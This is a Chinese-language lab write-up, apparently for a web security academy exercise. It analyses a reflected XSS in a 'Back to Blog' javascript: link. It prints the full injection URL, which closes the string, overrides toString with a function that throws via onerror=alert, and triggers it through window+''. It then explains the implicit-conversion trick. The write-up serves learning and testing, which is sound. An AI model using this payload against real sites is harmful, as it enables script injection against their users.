渗透实战:使用隐式转换覆盖toString的反射型xss
进入页面后到留言板查看源代码发现 back blog 选项下的代码有些东西
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4'}).finally(_ => window.location = '/')">Back to Blog</a>
<a href="javascript:...">Back to Blog</a>
这是一个超链接,href
属性使用了javascript:
协议,表示点击时会执行后续的JavaScript代码而非跳转URL。
fetch 向服务器端的/analytics
路径发送请求,body
参数是一个编码后的字符串(/post%3fpostId%3d1
,解码后为/post?postId=1
),可能是要记录的文章ID或用户行为数据。
无论fetch
请求成功或失败,最终都会执行finally
中的回调函数,将页面重定向到根路径/
。
漏洞点也确实在这里,我们一起看下 lab 给出的解题方法,分析下他的思路
https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
在 hackbar 解码看一下
当我们输入这段 url 后,代码中的<a>标签内获取到我们输入的内容后完整代码如下:
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')">Back to Blog</a>
其中fetch()
函数是这样的
fetch('/analytics', {method: 'post',body: '/post?postId=5&'}, // 关键闭合点,&分隔参数,后面内容才会当作javascript执行x = x => { throw/**/ onerror = alert, 1337 }, // 定义恶意函数弹窗显示lab指定数字toString = x, // 覆盖 toString 方法window + '', // 触发 toString(){ 1: '' // 修复语法,为闭合最后的'}构造的
}).finally(_ => window.location = '/')
去掉&符号会导致参数错误,需要&作为参数分隔符
当点击 back to blog 按钮时,触发恶意函数执行。
lab 给出提示使用 alert 弹出字符 1337 完成 lab。
为了方便理解,我们可以写一段 html 代码去模拟复现
<html><h1>利用toString()触发的反射型xss</h1><script>throw 1337; //抛出一个错误</script>
</html>
经过测试, throw
后面的事件可以是任何事件,不一定非得是 onerror
throw a, b, c 的逻辑是依次执行后面的参数,但是只返回最后的参数值作为错误信息
例如我们 throw 后面传入三个触发 alert 的事件,最后传入 1339, 如下所示
依次弹窗 1,2,3 后抛出错误 1339
可以理解为 throw 会计算和执行后面的内容,只返回最后一个参数执行结果
依次弹窗 1,2 后返回最后的参数执行计算的结果 2
后面的逻辑就是将 x
赋值给 toString()
,利用 window+''
触发隐式转换
当对象与字符串相加时,JavaScript 会尝试调用对象的 toString()
方法进行隐式转换
由于toString()
被恶意函数覆盖,导致执行了恶意函数。